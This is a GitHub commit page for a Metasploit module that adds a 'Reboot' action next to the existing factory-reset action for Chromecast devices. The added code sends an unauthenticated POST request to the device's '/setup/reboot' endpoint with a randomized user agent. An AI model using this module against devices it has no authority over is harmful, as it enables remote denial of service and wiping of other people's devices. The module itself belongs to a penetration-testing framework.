Skip to content

Commit 6bb0f32

Browse files
committed
Add reboot action to chromecast_reset
1 parent f345dbb commit 6bb0f32

File tree

1 file changed

+30
-3
lines changed

1 file changed

+30
-3
lines changed

modules/auxiliary/admin/chromecast/chromecast_reset.rb

Lines changed: 30 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,12 @@ def initialize(info = {})
2020
'References' => [
2121
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
2222
],
23-
'License' => MSF_LICENSE
23+
'License' => MSF_LICENSE,
24+
'Actions' => [
25+
['Reset', 'Description' => 'Factory reset'],
26+
['Reboot', 'Description' => 'Reboot only']
27+
],
28+
'DefaultAction' => 'Reset'
2429
))
2530

2631
register_options([
@@ -29,10 +34,15 @@ def initialize(info = {})
2934
end
3035

3136
def run
32-
res = reset
37+
case action.name
38+
when 'Reset'
39+
res = reset
40+
when 'Reboot'
41+
res = reboot
42+
end
3343

3444
if res && res.code == 200
35-
print_good('Factory reset performed')
45+
print_good("#{action.name} performed")
3646
elsif res
3747
print_error("An error occurred: #{res.code} #{res.message}")
3848
end
@@ -55,4 +65,21 @@ def reset
5565
end
5666
end
5767

68+
def reboot
69+
begin
70+
send_request_raw(
71+
'method' => 'POST',
72+
'uri' => '/setup/reboot',
73+
'agent' => Rex::Text.rand_text_english(rand(42) + 1),
74+
'ctype' => 'application/json',
75+
'data' => '{"params": "now"}'
76+
)
77+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
78+
Rex::HostUnreachable => e
79+
fail_with(Failure::Unreachable, e)
80+
ensure
81+
disconnect
82+
end
83+
end
84+
5885
end

0 commit comments

Comments
 (0)